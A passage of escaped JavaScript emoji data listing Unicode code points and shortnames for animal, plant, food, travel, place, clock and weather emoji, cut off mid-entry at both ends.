1F43C&quot;,shortnames:[&quot;panda_face&quot;]},{unified:&quot;1F9A5&quot;,shortnames:[&quot;sloth&quot;]},{unified:&quot;1F9A6&quot;,shortnames:[&quot;otter&quot;]},{unified:&quot;1F9A8&quot;,shortnames:[&quot;skunk&quot;]},{unified:&quot;1F998&quot;,shortnames:[&quot;kangaroo&quot;]},{unified:&quot;1F9A1&quot;,shortnames:[&quot;badger&quot;]},{unified:&quot;1F43E&quot;,shortnames:[&quot;feet&quot;]},{unified:&quot;1F983&quot;,shortnames:[&quot;turkey&quot;]},{unified:&quot;1F414&quot;,shortnames:[&quot;chicken&quot;]},{unified:&quot;1F413&quot;,shortnames:[&quot;rooster&quot;]},{unified:&quot;1F423&quot;,shortnames:[&quot;hatching_chick&quot;]},{unified:&quot;1F424&quot;,shortnames:[&quot;baby_chick&quot;]},{unified:&quot;1F425&quot;,shortnames:[&quot;hatched_chick&quot;]},{unified:&quot;1F426&quot;,shortnames:[&quot;bird&quot;]},{unified:&quot;1F427&quot;,shortnames:[&quot;penguin&quot;]},{unified:&quot;1F54A-FE0F&quot;,shortnames:[&quot;dove_of_peace&quot;]},{unified:&quot;1F985&quot;,shortnames:[&quot;eagle&quot;]},{unified:&quot;1F986&quot;,shortnames:[&quot;duck&quot;]},{unified:&quot;1F9A2&quot;,shortnames:[&quot;swan&quot;]},{unified:&quot;1F989&quot;,shortnames:[&quot;owl&quot;]},{unified:&quot;1F9A4&quot;,shortnames:[&quot;dodo&quot;]},{unified:&quot;1FAB6&quot;,shortnames:[&quot;feather&quot;]},{unified:&quot;1F9A9&quot;,shortnames:[&quot;flamingo&quot;]},{unified:&quot;1F99A&quot;,shortnames:[&quot;peacock&quot;]},{unified:&quot;1F99C&quot;,shortnames:[&quot;parrot&quot;]},{unified:&quot;1F438&quot;,shortnames:[&quot;frog&quot;]},{unified:&quot;1F40A&quot;,shortnames:[&quot;crocodile&quot;]},{unified:&quot;1F422&quot;,shortnames:[&quot;turtle&quot;]},{unified:&quot;1F98E&quot;,shortnames:[&quot;lizard&quot;]},{unified:&quot;1F40D&quot;,shortnames:[&quot;snake&quot;]},{unified:&quot;1F432&quot;,shortnames:[&quot;dragon_face&quot;]},{unified:&quot;1F409&quot;,shortnames:[&quot;dragon&quot;]},{unified:&quot;1F995&quot;,shortnames:[&quot;sauropod&quot;]},{unified:&quot;1F996&quot;,shortnames:[&quot;t-rex&quot;]},{unified:&quot;1F433&quot;,shortnames:[&quot;whale&quot;]},{unified:&quot;1F40B&quot;,shortnames:[&quot;whale2&quot;]},{unified:&quot;1F42C&quot;,shortnames:[&quot;dolphin&quot;]},{unified:&quot;1F9AD&quot;,shortnames:[&quot;seal&quot;]},{unified:&quot;1F41F&quot;,shortnames:[&quot;fish&quot;]},{unified:&quot;1F420&quot;,shortnames:[&quot;tropical_fish&quot;]},{unified:&quot;1F421&quot;,shortnames:[&quot;blowfish&quot;]},{unified:&quot;1F988&quot;,shortnames:[&quot;shark&quot;]},{unified:&quot;1F419&quot;,shortnames:[&quot;octopus&quot;]},{unified:&quot;1F41A&quot;,shortnames:[&quot;shell&quot;]},{unified:&quot;1F40C&quot;,shortnames:[&quot;snail&quot;]},{unified:&quot;1F98B&quot;,shortnames:[&quot;butterfly&quot;]},{unified:&quot;1F41B&quot;,shortnames:[&quot;bug&quot;]},{unified:&quot;1F41C&quot;,shortnames:[&quot;ant&quot;]},{unified:&quot;1F41D&quot;,shortnames:[&quot;bee&quot;]},{unified:&quot;1FAB2&quot;,shortnames:[&quot;beetle&quot;]},{unified:&quot;1F41E&quot;,shortnames:[&quot;ladybug&quot;]},{unified:&quot;1F997&quot;,shortnames:[&quot;cricket&quot;]},{unified:&quot;1FAB3&quot;,shortnames:[&quot;cockroach&quot;]},{unified:&quot;1F577-FE0F&quot;,shortnames:[&quot;spider&quot;]},{unified:&quot;1F578-FE0F&quot;,shortnames:[&quot;spider_web&quot;]},{unified:&quot;1F982&quot;,shortnames:[&quot;scorpion&quot;]},{unified:&quot;1F99F&quot;,shortnames:[&quot;mosquito&quot;]},{unified:&quot;1FAB0&quot;,shortnames:[&quot;fly&quot;]},{unified:&quot;1FAB1&quot;,shortnames:[&quot;worm&quot;]},{unified:&quot;1F9A0&quot;,shortnames:[&quot;microbe&quot;]},{unified:&quot;1F490&quot;,shortnames:[&quot;bouquet&quot;]},{unified:&quot;1F338&quot;,shortnames:[&quot;cherry_blossom&quot;]},{unified:&quot;1F4AE&quot;,shortnames:[&quot;white_flower&quot;]},{unified:&quot;1F3F5-FE0F&quot;,shortnames:[&quot;rosette&quot;]},{unified:&quot;1F339&quot;,shortnames:[&quot;rose&quot;]},{unified:&quot;1F940&quot;,shortnames:[&quot;wilted_flower&quot;]},{unified:&quot;1F33A&quot;,shortnames:[&quot;hibiscus&quot;]},{unified:&quot;1F33B&quot;,shortnames:[&quot;sunflower&quot;]},{unified:&quot;1F33C&quot;,shortnames:[&quot;blossom&quot;]},{unified:&quot;1F337&quot;,shortnames:[&quot;tulip&quot;]},{unified:&quot;1F331&quot;,shortnames:[&quot;seedling&quot;]},{unified:&quot;1FAB4&quot;,shortnames:[&quot;potted_plant&quot;]},{unified:&quot;1F332&quot;,shortnames:[&quot;evergreen_tree&quot;]},{unified:&quot;1F333&quot;,shortnames:[&quot;deciduous_tree&quot;]},{unified:&quot;1F334&quot;,shortnames:[&quot;palm_tree&quot;]},{unified:&quot;1F335&quot;,shortnames:[&quot;cactus&quot;]},{unified:&quot;1F33E&quot;,shortnames:[&quot;ear_of_rice&quot;]},{unified:&quot;1F33F&quot;,shortnames:[&quot;herb&quot;]},{unified:&quot;2618-FE0F&quot;,shortnames:[&quot;shamrock&quot;]},{unified:&quot;1F340&quot;,shortnames:[&quot;four_leaf_clover&quot;]},{unified:&quot;1F341&quot;,shortnames:[&quot;maple_leaf&quot;]},{unified:&quot;1F342&quot;,shortnames:[&quot;fallen_leaf&quot;]},{unified:&quot;1F343&quot;,shortnames:[&quot;leaves&quot;]}]},{name:&quot;Food &amp; Drink&quot;,emojis:[{unified:&quot;1F347&quot;,shortnames:[&quot;grapes&quot;]},{unified:&quot;1F348&quot;,shortnames:[&quot;melon&quot;]},{unified:&quot;1F349&quot;,shortnames:[&quot;watermelon&quot;]},{unified:&quot;1F34A&quot;,shortnames:[&quot;tangerine&quot;]},{unified:&quot;1F34B&quot;,shortnames:[&quot;lemon&quot;]},{unified:&quot;1F34C&quot;,shortnames:[&quot;banana&quot;]},{unified:&quot;1F34D&quot;,shortnames:[&quot;pineapple&quot;]},{unified:&quot;1F96D&quot;,shortnames:[&quot;mango&quot;]},{unified:&quot;1F34E&quot;,shortnames:[&quot;apple&quot;]},{unified:&quot;1F34F&quot;,shortnames:[&quot;green_apple&quot;]},{unified:&quot;1F350&quot;,shortnames:[&quot;pear&quot;]},{unified:&quot;1F351&quot;,shortnames:[&quot;peach&quot;]},{unified:&quot;1F352&quot;,shortnames:[&quot;cherries&quot;]},{unified:&quot;1F353&quot;,shortnames:[&quot;strawberry&quot;]},{unified:&quot;1FAD0&quot;,shortnames:[&quot;blueberries&quot;]},{unified:&quot;1F95D&quot;,shortnames:[&quot;kiwifruit&quot;]},{unified:&quot;1F345&quot;,shortnames:[&quot;tomato&quot;]},{unified:&quot;1FAD2&quot;,shortnames:[&quot;olive&quot;]},{unified:&quot;1F965&quot;,shortnames:[&quot;coconut&quot;]},{unified:&quot;1F951&quot;,shortnames:[&quot;avocado&quot;]},{unified:&quot;1F346&quot;,shortnames:[&quot;eggplant&quot;]},{unified:&quot;1F954&quot;,shortnames:[&quot;potato&quot;]},{unified:&quot;1F955&quot;,shortnames:[&quot;carrot&quot;]},{unified:&quot;1F33D&quot;,shortnames:[&quot;corn&quot;]},{unified:&quot;1F336-FE0F&quot;,shortnames:[&quot;hot_pepper&quot;]},{unified:&quot;1FAD1&quot;,shortnames:[&quot;bell_pepper&quot;]},{unified:&quot;1F952&quot;,shortnames:[&quot;cucumber&quot;]},{unified:&quot;1F96C&quot;,shortnames:[&quot;leafy_green&quot;]},{unified:&quot;1F966&quot;,shortnames:[&quot;broccoli&quot;]},{unified:&quot;1F9C4&quot;,shortnames:[&quot;garlic&quot;]},{unified:&quot;1F9C5&quot;,shortnames:[&quot;onion&quot;]},{unified:&quot;1F344&quot;,shortnames:[&quot;mushroom&quot;]},{unified:&quot;1F95C&quot;,shortnames:[&quot;peanuts&quot;]},{unified:&quot;1F330&quot;,shortnames:[&quot;chestnut&quot;]},{unified:&quot;1F35E&quot;,shortnames:[&quot;bread&quot;]},{unified:&quot;1F950&quot;,shortnames:[&quot;croissant&quot;]},{unified:&quot;1F956&quot;,shortnames:[&quot;baguette_bread&quot;]},{unified:&quot;1FAD3&quot;,shortnames:[&quot;flatbread&quot;]},{unified:&quot;1F968&quot;,shortnames:[&quot;pretzel&quot;]},{unified:&quot;1F96F&quot;,shortnames:[&quot;bagel&quot;]},{unified:&quot;1F95E&quot;,shortnames:[&quot;pancakes&quot;]},{unified:&quot;1F9C7&quot;,shortnames:[&quot;waffle&quot;]},{unified:&quot;1F9C0&quot;,shortnames:[&quot;cheese_wedge&quot;]},{unified:&quot;1F356&quot;,shortnames:[&quot;meat_on_bone&quot;]},{unified:&quot;1F357&quot;,shortnames:[&quot;poultry_leg&quot;]},{unified:&quot;1F969&quot;,shortnames:[&quot;cut_of_meat&quot;]},{unified:&quot;1F953&quot;,shortnames:[&quot;bacon&quot;]},{unified:&quot;1F354&quot;,shortnames:[&quot;hamburger&quot;]},{unified:&quot;1F35F&quot;,shortnames:[&quot;fries&quot;]},{unified:&quot;1F355&quot;,shortnames:[&quot;pizza&quot;]},{unified:&quot;1F32D&quot;,shortnames:[&quot;hotdog&quot;]},{unified:&quot;1F96A&quot;,shortnames:[&quot;sandwich&quot;]},{unified:&quot;1F32E&quot;,shortnames:[&quot;taco&quot;]},{unified:&quot;1F32F&quot;,shortnames:[&quot;burrito&quot;]},{unified:&quot;1FAD4&quot;,shortnames:[&quot;tamale&quot;]},{unified:&quot;1F959&quot;,shortnames:[&quot;stuffed_flatbread&quot;]},{unified:&quot;1F9C6&quot;,shortnames:[&quot;falafel&quot;]},{unified:&quot;1F95A&quot;,shortnames:[&quot;egg&quot;]},{unified:&quot;1F373&quot;,shortnames:[&quot;fried_egg&quot;]},{unified:&quot;1F958&quot;,shortnames:[&quot;shallow_pan_of_food&quot;]},{unified:&quot;1F372&quot;,shortnames:[&quot;stew&quot;]},{unified:&quot;1FAD5&quot;,shortnames:[&quot;fondue&quot;]},{unified:&quot;1F963&quot;,shortnames:[&quot;bowl_with_spoon&quot;]},{unified:&quot;1F957&quot;,shortnames:[&quot;green_salad&quot;]},{unified:&quot;1F37F&quot;,shortnames:[&quot;popcorn&quot;]},{unified:&quot;1F9C8&quot;,shortnames:[&quot;butter&quot;]},{unified:&quot;1F9C2&quot;,shortnames:[&quot;salt&quot;]},{unified:&quot;1F96B&quot;,shortnames:[&quot;canned_food&quot;]},{unified:&quot;1F371&quot;,shortnames:[&quot;bento&quot;]},{unified:&quot;1F358&quot;,shortnames:[&quot;rice_cracker&quot;]},{unified:&quot;1F359&quot;,shortnames:[&quot;rice_ball&quot;]},{unified:&quot;1F35A&quot;,shortnames:[&quot;rice&quot;]},{unified:&quot;1F35B&quot;,shortnames:[&quot;curry&quot;]},{unified:&quot;1F35C&quot;,shortnames:[&quot;ramen&quot;]},{unified:&quot;1F35D&quot;,shortnames:[&quot;spaghetti&quot;]},{unified:&quot;1F360&quot;,shortnames:[&quot;sweet_potato&quot;]},{unified:&quot;1F362&quot;,shortnames:[&quot;oden&quot;]},{unified:&quot;1F363&quot;,shortnames:[&quot;sushi&quot;]},{unified:&quot;1F364&quot;,shortnames:[&quot;fried_shrimp&quot;]},{unified:&quot;1F365&quot;,shortnames:[&quot;fish_cake&quot;]},{unified:&quot;1F96E&quot;,shortnames:[&quot;moon_cake&quot;]},{unified:&quot;1F361&quot;,shortnames:[&quot;dango&quot;]},{unified:&quot;1F95F&quot;,shortnames:[&quot;dumpling&quot;]},{unified:&quot;1F960&quot;,shortnames:[&quot;fortune_cookie&quot;]},{unified:&quot;1F961&quot;,shortnames:[&quot;takeout_box&quot;]},{unified:&quot;1F980&quot;,shortnames:[&quot;crab&quot;]},{unified:&quot;1F99E&quot;,shortnames:[&quot;lobster&quot;]},{unified:&quot;1F990&quot;,shortnames:[&quot;shrimp&quot;]},{unified:&quot;1F991&quot;,shortnames:[&quot;squid&quot;]},{unified:&quot;1F9AA&quot;,shortnames:[&quot;oyster&quot;]},{unified:&quot;1F366&quot;,shortnames:[&quot;icecream&quot;]},{unified:&quot;1F367&quot;,shortnames:[&quot;shaved_ice&quot;]},{unified:&quot;1F368&quot;,shortnames:[&quot;ice_cream&quot;]},{unified:&quot;1F369&quot;,shortnames:[&quot;doughnut&quot;]},{unified:&quot;1F36A&quot;,shortnames:[&quot;cookie&quot;]},{unified:&quot;1F382&quot;,shortnames:[&quot;birthday&quot;]},{unified:&quot;1F370&quot;,shortnames:[&quot;cake&quot;]},{unified:&quot;1F9C1&quot;,shortnames:[&quot;cupcake&quot;]},{unified:&quot;1F967&quot;,shortnames:[&quot;pie&quot;]},{unified:&quot;1F36B&quot;,shortnames:[&quot;chocolate_bar&quot;]},{unified:&quot;1F36C&quot;,shortnames:[&quot;candy&quot;]},{unified:&quot;1F36D&quot;,shortnames:[&quot;lollipop&quot;]},{unified:&quot;1F36E&quot;,shortnames:[&quot;custard&quot;]},{unified:&quot;1F36F&quot;,shortnames:[&quot;honey_pot&quot;]},{unified:&quot;1F37C&quot;,shortnames:[&quot;baby_bottle&quot;]},{unified:&quot;1F95B&quot;,shortnames:[&quot;glass_of_milk&quot;]},{unified:&quot;2615&quot;,shortnames:[&quot;coffee&quot;]},{unified:&quot;1FAD6&quot;,shortnames:[&quot;teapot&quot;]},{unified:&quot;1F375&quot;,shortnames:[&quot;tea&quot;]},{unified:&quot;1F376&quot;,shortnames:[&quot;sake&quot;]},{unified:&quot;1F37E&quot;,shortnames:[&quot;champagne&quot;]},{unified:&quot;1F377&quot;,shortnames:[&quot;wine_glass&quot;]},{unified:&quot;1F378&quot;,shortnames:[&quot;cocktail&quot;]},{unified:&quot;1F379&quot;,shortnames:[&quot;tropical_drink&quot;]},{unified:&quot;1F37A&quot;,shortnames:[&quot;beer&quot;]},{unified:&quot;1F37B&quot;,shortnames:[&quot;beers&quot;]},{unified:&quot;1F942&quot;,shortnames:[&quot;clinking_glasses&quot;]},{unified:&quot;1F943&quot;,shortnames:[&quot;tumbler_glass&quot;]},{unified:&quot;1F964&quot;,shortnames:[&quot;cup_with_straw&quot;]},{unified:&quot;1F9CB&quot;,shortnames:[&quot;bubble_tea&quot;]},{unified:&quot;1F9C3&quot;,shortnames:[&quot;beverage_box&quot;]},{unified:&quot;1F9C9&quot;,shortnames:[&quot;mate_drink&quot;]},{unified:&quot;1F9CA&quot;,shortnames:[&quot;ice_cube&quot;]},{unified:&quot;1F962&quot;,shortnames:[&quot;chopsticks&quot;]},{unified:&quot;1F37D-FE0F&quot;,shortnames:[&quot;knife_fork_plate&quot;]},{unified:&quot;1F374&quot;,shortnames:[&quot;fork_and_knife&quot;]},{unified:&quot;1F944&quot;,shortnames:[&quot;spoon&quot;]},{unified:&quot;1F52A&quot;,shortnames:[&quot;hocho&quot;]},{unified:&quot;1F3FA&quot;,shortnames:[&quot;amphora&quot;]}]},{name:&quot;Travel &amp; Places&quot;,emojis:[{unified:&quot;1F30D&quot;,shortnames:[&quot;earth_africa&quot;]},{unified:&quot;1F30E&quot;,shortnames:[&quot;earth_americas&quot;]},{unified:&quot;1F30F&quot;,shortnames:[&quot;earth_asia&quot;]},{unified:&quot;1F310&quot;,shortnames:[&quot;globe_with_meridians&quot;]},{unified:&quot;1F5FA-FE0F&quot;,shortnames:[&quot;world_map&quot;]},{unified:&quot;1F5FE&quot;,shortnames:[&quot;japan&quot;]},{unified:&quot;1F9ED&quot;,shortnames:[&quot;compass&quot;]},{unified:&quot;1F3D4-FE0F&quot;,shortnames:[&quot;snow_capped_mountain&quot;]},{unified:&quot;26F0-FE0F&quot;,shortnames:[&quot;mountain&quot;]},{unified:&quot;1F30B&quot;,shortnames:[&quot;volcano&quot;]},{unified:&quot;1F5FB&quot;,shortnames:[&quot;mount_fuji&quot;]},{unified:&quot;1F3D5-FE0F&quot;,shortnames:[&quot;camping&quot;]},{unified:&quot;1F3D6-FE0F&quot;,shortnames:[&quot;beach_with_umbrella&quot;]},{unified:&quot;1F3DC-FE0F&quot;,shortnames:[&quot;desert&quot;]},{unified:&quot;1F3DD-FE0F&quot;,shortnames:[&quot;desert_island&quot;]},{unified:&quot;1F3DE-FE0F&quot;,shortnames:[&quot;national_park&quot;]},{unified:&quot;1F3DF-FE0F&quot;,shortnames:[&quot;stadium&quot;]},{unified:&quot;1F3DB-FE0F&quot;,shortnames:[&quot;classical_building&quot;]},{unified:&quot;1F3D7-FE0F&quot;,shortnames:[&quot;building_construction&quot;]},{unified:&quot;1F9F1&quot;,shortnames:[&quot;bricks&quot;]},{unified:&quot;1FAA8&quot;,shortnames:[&quot;rock&quot;]},{unified:&quot;1FAB5&quot;,shortnames:[&quot;wood&quot;]},{unified:&quot;1F6D6&quot;,shortnames:[&quot;hut&quot;]},{unified:&quot;1F3D8-FE0F&quot;,shortnames:[&quot;house_buildings&quot;]},{unified:&quot;1F3DA-FE0F&quot;,shortnames:[&quot;derelict_house_building&quot;]},{unified:&quot;1F3E0&quot;,shortnames:[&quot;house&quot;]},{unified:&quot;1F3E1&quot;,shortnames:[&quot;house_with_garden&quot;]},{unified:&quot;1F3E2&quot;,shortnames:[&quot;office&quot;]},{unified:&quot;1F3E3&quot;,shortnames:[&quot;post_office&quot;]},{unified:&quot;1F3E4&quot;,shortnames:[&quot;european_post_office&quot;]},{unified:&quot;1F3E5&quot;,shortnames:[&quot;hospital&quot;]},{unified:&quot;1F3E6&quot;,shortnames:[&quot;bank&quot;]},{unified:&quot;1F3E8&quot;,shortnames:[&quot;hotel&quot;]},{unified:&quot;1F3E9&quot;,shortnames:[&quot;love_hotel&quot;]},{unified:&quot;1F3EA&quot;,shortnames:[&quot;convenience_store&quot;]},{unified:&quot;1F3EB&quot;,shortnames:[&quot;school&quot;]},{unified:&quot;1F3EC&quot;,shortnames:[&quot;department_store&quot;]},{unified:&quot;1F3ED&quot;,shortnames:[&quot;factory&quot;]},{unified:&quot;1F3EF&quot;,shortnames:[&quot;japanese_castle&quot;]},{unified:&quot;1F3F0&quot;,shortnames:[&quot;european_castle&quot;]},{unified:&quot;1F492&quot;,shortnames:[&quot;wedding&quot;]},{unified:&quot;1F5FC&quot;,shortnames:[&quot;tokyo_tower&quot;]},{unified:&quot;1F5FD&quot;,shortnames:[&quot;statue_of_liberty&quot;]},{unified:&quot;26EA&quot;,shortnames:[&quot;church&quot;]},{unified:&quot;1F54C&quot;,shortnames:[&quot;mosque&quot;]},{unified:&quot;1F6D5&quot;,shortnames:[&quot;hindu_temple&quot;]},{unified:&quot;1F54D&quot;,shortnames:[&quot;synagogue&quot;]},{unified:&quot;26E9-FE0F&quot;,shortnames:[&quot;shinto_shrine&quot;]},{unified:&quot;1F54B&quot;,shortnames:[&quot;kaaba&quot;]},{unified:&quot;26F2&quot;,shortnames:[&quot;fountain&quot;]},{unified:&quot;26FA&quot;,shortnames:[&quot;tent&quot;]},{unified:&quot;1F301&quot;,shortnames:[&quot;foggy&quot;]},{unified:&quot;1F303&quot;,shortnames:[&quot;night_with_stars&quot;]},{unified:&quot;1F3D9-FE0F&quot;,shortnames:[&quot;cityscape&quot;]},{unified:&quot;1F304&quot;,shortnames:[&quot;sunrise_over_mountains&quot;]},{unified:&quot;1F305&quot;,shortnames:[&quot;sunrise&quot;]},{unified:&quot;1F306&quot;,shortnames:[&quot;city_sunset&quot;]},{unified:&quot;1F307&quot;,shortnames:[&quot;city_sunrise&quot;]},{unified:&quot;1F309&quot;,shortnames:[&quot;bridge_at_night&quot;]},{unified:&quot;2668-FE0F&quot;,shortnames:[&quot;hotsprings&quot;]},{unified:&quot;1F3A0&quot;,shortnames:[&quot;carousel_horse&quot;]},{unified:&quot;1F3A1&quot;,shortnames:[&quot;ferris_wheel&quot;]},{unified:&quot;1F3A2&quot;,shortnames:[&quot;roller_coaster&quot;]},{unified:&quot;1F488&quot;,shortnames:[&quot;barber&quot;]},{unified:&quot;1F3AA&quot;,shortnames:[&quot;circus_tent&quot;]},{unified:&quot;1F682&quot;,shortnames:[&quot;steam_locomotive&quot;]},{unified:&quot;1F683&quot;,shortnames:[&quot;railway_car&quot;]},{unified:&quot;1F684&quot;,shortnames:[&quot;bullettrain_side&quot;]},{unified:&quot;1F685&quot;,shortnames:[&quot;bullettrain_front&quot;]},{unified:&quot;1F686&quot;,shortnames:[&quot;train2&quot;]},{unified:&quot;1F687&quot;,shortnames:[&quot;metro&quot;]},{unified:&quot;1F688&quot;,shortnames:[&quot;light_rail&quot;]},{unified:&quot;1F689&quot;,shortnames:[&quot;station&quot;]},{unified:&quot;1F68A&quot;,shortnames:[&quot;tram&quot;]},{unified:&quot;1F69D&quot;,shortnames:[&quot;monorail&quot;]},{unified:&quot;1F69E&quot;,shortnames:[&quot;mountain_railway&quot;]},{unified:&quot;1F68B&quot;,shortnames:[&quot;train&quot;]},{unified:&quot;1F68C&quot;,shortnames:[&quot;bus&quot;]},{unified:&quot;1F68D&quot;,shortnames:[&quot;oncoming_bus&quot;]},{unified:&quot;1F68E&quot;,shortnames:[&quot;trolleybus&quot;]},{unified:&quot;1F690&quot;,shortnames:[&quot;minibus&quot;]},{unified:&quot;1F691&quot;,shortnames:[&quot;ambulance&quot;]},{unified:&quot;1F692&quot;,shortnames:[&quot;fire_engine&quot;]},{unified:&quot;1F693&quot;,shortnames:[&quot;police_car&quot;]},{unified:&quot;1F694&quot;,shortnames:[&quot;oncoming_police_car&quot;]},{unified:&quot;1F695&quot;,shortnames:[&quot;taxi&quot;]},{unified:&quot;1F696&quot;,shortnames:[&quot;oncoming_taxi&quot;]},{unified:&quot;1F697&quot;,shortnames:[&quot;car&quot;]},{unified:&quot;1F698&quot;,shortnames:[&quot;oncoming_automobile&quot;]},{unified:&quot;1F699&quot;,shortnames:[&quot;blue_car&quot;]},{unified:&quot;1F6FB&quot;,shortnames:[&quot;pickup_truck&quot;]},{unified:&quot;1F69A&quot;,shortnames:[&quot;truck&quot;]},{unified:&quot;1F69B&quot;,shortnames:[&quot;articulated_lorry&quot;]},{unified:&quot;1F69C&quot;,shortnames:[&quot;tractor&quot;]},{unified:&quot;1F3CE-FE0F&quot;,shortnames:[&quot;racing_car&quot;]},{unified:&quot;1F3CD-FE0F&quot;,shortnames:[&quot;racing_motorcycle&quot;]},{unified:&quot;1F6F5&quot;,shortnames:[&quot;motor_scooter&quot;]},{unified:&quot;1F9BD&quot;,shortnames:[&quot;manual_wheelchair&quot;]},{unified:&quot;1F9BC&quot;,shortnames:[&quot;motorized_wheelchair&quot;]},{unified:&quot;1F6FA&quot;,shortnames:[&quot;auto_rickshaw&quot;]},{unified:&quot;1F6B2&quot;,shortnames:[&quot;bike&quot;]},{unified:&quot;1F6F4&quot;,shortnames:[&quot;scooter&quot;]},{unified:&quot;1F6F9&quot;,shortnames:[&quot;skateboard&quot;]},{unified:&quot;1F6FC&quot;,shortnames:[&quot;roller_skate&quot;]},{unified:&quot;1F68F&quot;,shortnames:[&quot;busstop&quot;]},{unified:&quot;1F6E3-FE0F&quot;,shortnames:[&quot;motorway&quot;]},{unified:&quot;1F6E4-FE0F&quot;,shortnames:[&quot;railway_track&quot;]},{unified:&quot;1F6E2-FE0F&quot;,shortnames:[&quot;oil_drum&quot;]},{unified:&quot;26FD&quot;,shortnames:[&quot;fuelpump&quot;]},{unified:&quot;1F6A8&quot;,shortnames:[&quot;rotating_light&quot;]},{unified:&quot;1F6A5&quot;,shortnames:[&quot;traffic_light&quot;]},{unified:&quot;1F6A6&quot;,shortnames:[&quot;vertical_traffic_light&quot;]},{unified:&quot;1F6D1&quot;,shortnames:[&quot;octagonal_sign&quot;]},{unified:&quot;1F6A7&quot;,shortnames:[&quot;construction&quot;]},{unified:&quot;2693&quot;,shortnames:[&quot;anchor&quot;]},{unified:&quot;26F5&quot;,shortnames:[&quot;boat&quot;]},{unified:&quot;1F6F6&quot;,shortnames:[&quot;canoe&quot;]},{unified:&quot;1F6A4&quot;,shortnames:[&quot;speedboat&quot;]},{unified:&quot;1F6F3-FE0F&quot;,shortnames:[&quot;passenger_ship&quot;]},{unified:&quot;26F4-FE0F&quot;,shortnames:[&quot;ferry&quot;]},{unified:&quot;1F6E5-FE0F&quot;,shortnames:[&quot;motor_boat&quot;]},{unified:&quot;1F6A2&quot;,shortnames:[&quot;ship&quot;]},{unified:&quot;2708-FE0F&quot;,shortnames:[&quot;airplane&quot;]},{unified:&quot;1F6E9-FE0F&quot;,shortnames:[&quot;small_airplane&quot;]},{unified:&quot;1F6EB&quot;,shortnames:[&quot;airplane_departure&quot;]},{unified:&quot;1F6EC&quot;,shortnames:[&quot;airplane_arriving&quot;]},{unified:&quot;1FA82&quot;,shortnames:[&quot;parachute&quot;]},{unified:&quot;1F4BA&quot;,shortnames:[&quot;seat&quot;]},{unified:&quot;1F681&quot;,shortnames:[&quot;helicopter&quot;]},{unified:&quot;1F69F&quot;,shortnames:[&quot;suspension_railway&quot;]},{unified:&quot;1F6A0&quot;,shortnames:[&quot;mountain_cableway&quot;]},{unified:&quot;1F6A1&quot;,shortnames:[&quot;aerial_tramway&quot;]},{unified:&quot;1F6F0-FE0F&quot;,shortnames:[&quot;satellite&quot;]},{unified:&quot;1F680&quot;,shortnames:[&quot;rocket&quot;]},{unified:&quot;1F6F8&quot;,shortnames:[&quot;flying_saucer&quot;]},{unified:&quot;1F6CE-FE0F&quot;,shortnames:[&quot;bellhop_bell&quot;]},{unified:&quot;1F9F3&quot;,shortnames:[&quot;luggage&quot;]},{unified:&quot;231B&quot;,shortnames:[&quot;hourglass&quot;]},{unified:&quot;23F3&quot;,shortnames:[&quot;hourglass_flowing_sand&quot;]},{unified:&quot;231A&quot;,shortnames:[&quot;watch&quot;]},{unified:&quot;23F0&quot;,shortnames:[&quot;alarm_clock&quot;]},{unified:&quot;23F1-FE0F&quot;,shortnames:[&quot;stopwatch&quot;]},{unified:&quot;23F2-FE0F&quot;,shortnames:[&quot;timer_clock&quot;]},{unified:&quot;1F570-FE0F&quot;,shortnames:[&quot;mantelpiece_clock&quot;]},{unified:&quot;1F55B&quot;,shortnames:[&quot;clock12&quot;]},{unified:&quot;1F567&quot;,shortnames:[&quot;clock1230&quot;]},{unified:&quot;1F550&quot;,shortnames:[&quot;clock1&quot;]},{unified:&quot;1F55C&quot;,shortnames:[&quot;clock130&quot;]},{unified:&quot;1F551&quot;,shortnames:[&quot;clock2&quot;]},{unified:&quot;1F55D&quot;,shortnames:[&quot;clock230&quot;]},{unified:&quot;1F552&quot;,shortnames:[&quot;clock3&quot;]},{unified:&quot;1F55E&quot;,shortnames:[&quot;clock330&quot;]},{unified:&quot;1F553&quot;,shortnames:[&quot;clock4&quot;]},{unified:&quot;1F55F&quot;,shortnames:[&quot;clock430&quot;]},{unified:&quot;1F554&quot;,shortnames:[&quot;clock5&quot;]},{unified:&quot;1F560&quot;,shortnames:[&quot;clock530&quot;]},{unified:&quot;1F555&quot;,shortnames:[&quot;clock6&quot;]},{unified:&quot;1F561&quot;,shortnames:[&quot;clock630&quot;]},{unified:&quot;1F556&quot;,shortnames:[&quot;clock7&quot;]},{unified:&quot;1F562&quot;,shortnames:[&quot;clock730&quot;]},{unified:&quot;1F557&quot;,shortnames:[&quot;clock8&quot;]},{unified:&quot;1F563&quot;,shortnames:[&quot;clock830&quot;]},{unified:&quot;1F558&quot;,shortnames:[&quot;clock9&quot;]},{unified:&quot;1F564&quot;,shortnames:[&quot;clock930&quot;]},{unified:&quot;1F559&quot;,shortnames:[&quot;clock10&quot;]},{unified:&quot;1F565&quot;,shortnames:[&quot;clock1030&quot;]},{unified:&quot;1F55A&quot;,shortnames:[&quot;clock11&quot;]},{unified:&quot;1F566&quot;,shortnames:[&quot;clock1130&quot;]},{unified:&quot;1F311&quot;,shortnames:[&quot;new_moon&quot;]},{unified:&quot;1F312&quot;,shortnames:[&quot;waxing_crescent_moon&quot;]},{unified:&quot;1F313&quot;,shortnames:[&quot;first_quarter_moon&quot;]},{unified:&quot;1F314&quot;,shortnames:[&quot;moon&quot;]},{unified:&quot;1F315&quot;,shortnames:[&quot;full_moon&quot;]},{unified:&quot;1F316&quot;,shortnames:[&quot;waning_gibbous_moon&quot;]},{unified:&quot;1F317&quot;,shortnames:[&quot;last_quarter_moon&quot;]},{unified:&quot;1F318&quot;,shortnames:[&quot;waning_crescent_moon&quot;]},{unified:&quot;1F319&quot;,shortnames:[&quot;crescent_moon&quot;]},{unified:&quot;1F31A&quot;,shortnames:[&quot;new_moon_with_face&quot;]},{unified:&quot;1F31B&quot;,shortnames:[&quot;first_quarter_moon_with_face&quot;]},{unified:&quot;1F31C&quot;,shortnames:[&quot;last_quarter_moon_with_face&quot;]},{unified:&quot;1F321-FE0F&quot;,shortnames:[&quot;thermometer&quot;]},{unified:&quot;2600-FE0F&quot;,shortnames:[&quot;sunny&quot;]},{unified:&quot;1F31D&quot;,shortnames:[&quot;full_moon_with_face&quot;]},{unified:&quot;1F31E&quot;,shortnames:[&quot;sun_with_face&quot;]},{unified:&quot;1FA90&quot;,shortnames:[&quot;ringed_planet&quot;]},{unified:&quot;2B50&quot;,shortnames:[&quot;star&quot;]},{unified:&quot;1F31F&quot;,shortnames:[&quot;star2&quot;]},{unified:&quot;1